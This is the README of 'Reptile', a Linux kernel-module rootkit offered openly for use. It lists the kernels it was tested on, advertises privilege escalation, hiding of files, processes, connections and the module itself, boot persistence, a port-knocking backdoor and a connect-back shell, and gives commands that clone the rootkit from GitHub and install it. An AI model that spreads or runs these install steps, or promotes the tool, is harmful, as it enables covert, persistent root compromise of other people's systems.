M31N99 / Reptile

LKM Linux rootkit

Reptile

Tested on

Debian 9: 4.9.0-8-amd64
Ubuntu 18.04.1 LTS: 4.15.0-38-generic
Kali Linux: 4.18.0-kali2-amd64
Centos 7: 3.10.0-862.3.2.el7.x86_64
Centos 6.10: 2.6.32-754.6.3.el6.x86_64

Features

• Give root to unprivileged users
• Hide files and directories
• Hide processes
• Hide himself
• Hide TCP/UDP connections
• Hidden boot persistence
• File content tampering
• Some obfuscation techniques
• ICMP/UDP/TCP port-knocking backdoor
• Full TTY/PTY shell with file transfer
• Client to handle Reptile Shell
• Shell connect back each X times (not default)

Install

apt-get install linux-headers-$(uname -r)
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
./setup.sh install

Uninstall

./setup.sh remove

Usage

See Wiki to usage details.

Warning

Some functions of this module is based on another rootkits. Please see the references!

References

• “LKM HACKING”, The Hackers Choice (THC), 1999;
• https://github.com/milabs
• https://github.com/mncoppola/suterusu
• https://github.com/m0nad/Diamorphine.git
• https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git
• https://github.com/creaktive/tsh
• http://www.drkns.net/kernel-who-does-magic/
• https://github.com/brenns10/lsh

Thanks

Special thanks to my friend Ilya V. Matveychikov for the KHOOK framework and kmatryoshka loader.

Disclaimer

If you wanna more information, send me an e-mail: [e-mail]